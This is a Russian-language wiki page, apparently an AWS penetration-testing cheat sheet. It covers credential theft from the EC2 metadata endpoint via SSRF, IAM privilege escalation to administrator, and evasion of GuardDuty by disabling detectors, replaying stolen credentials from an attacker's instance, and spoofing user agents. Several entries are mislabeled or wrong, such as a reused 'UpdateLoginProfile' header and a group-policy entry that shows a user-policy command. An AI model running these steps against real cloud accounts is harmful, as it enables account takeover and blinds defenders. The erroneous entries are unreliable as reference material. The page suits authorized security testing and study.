&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
